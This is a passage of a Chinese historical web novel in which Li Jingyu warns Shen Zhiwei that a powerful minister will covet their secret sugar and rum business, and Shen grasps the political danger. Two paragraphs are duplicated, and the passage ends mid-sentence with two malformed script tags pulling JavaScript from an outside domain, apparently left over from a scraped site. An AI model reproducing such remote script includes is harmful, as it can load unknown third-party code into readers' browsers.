“魏无涯权倾朝野,自诩为天子之下第一人,整个大虞的财富与权力,他都想牢牢抓在手里!海关是他的人,盐铁是他的人,漕运也是他的人!”
“现在,突然冒出来一个能产出‘贵过金’的白糖,能酿出连皇室贡酒都比不上的‘清风朗姆’的神秘所在,而且这个地方,他魏无涯竟然一无所知!”
李景瑜的目光陡然变得无比锐利,仿佛一把出鞘的利剑,直刺沈知微的内心最深处。
“你告诉我,知微,换做你是魏无涯,你会怎么想?”
“你会怎么做?”
轰!
这句话,比之前魏子昂所有的威胁加起来,都更让沈知微感到恐惧。
他之前只考虑到了怀璧其罪的商业风险,却完全忽略了,在这背后隐藏得更深、更致命的政治风险!
他以为凭借四海通遍布天下的渠道和自己多年经营的人脉,小心翼翼地将赵衡隐藏在幕后,就能将这生意做得神不知鬼不觉。
他错了。
错得离谱!
他彻彻底底地低估了这些东西在一个封闭王朝的顶级权力者眼中,究竟意味着什么!
一层冰冷的汗珠,毫无征兆地从他的后背猛地渗出,瞬间浸透了华贵的丝绸内衫。
他之前只考虑到了怀璧其罪的商业风险,却忽略了这背后更深、更致命的政治风险!
他以为凭借四海通的渠道和自己的人脉,小心翼翼地将赵衡隐藏在幕后,就能将这生意做得神不知鬼不觉。但他错了,错得离谱!他低估了这些东西在一个封闭王朝里所能引起的巨大波澜,更低估了权力顶端那头猛虎的嗅觉和控制欲!
正如赵衡当初所言,乱世之中,最先遭殃的,永远是那些“有一些家底和权势,权势却又不是很大的人。“
李景瑜的每一句话,都像一记重锤,狠狠砸在沈知微的心口,让他几乎喘不过气来。他引以为傲的商业头脑和算计,在赤裸裸的绝对权力面前,显得如此苍白无力。
他想到了远在清风寨的赵衡。那个看似山野村夫,实则格局深远、总能一语道破天机的男人。他答应过赵衡,会处理好一切外部的风险。可现在,他不仅没处理好,反而将最大的风险引向了对方。
一股深深的自责和无力感涌上心头。
“景瑜兄……”沈知微的声音有些沙哑,“我……”
“行了。”李景瑜摆了摆手,
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">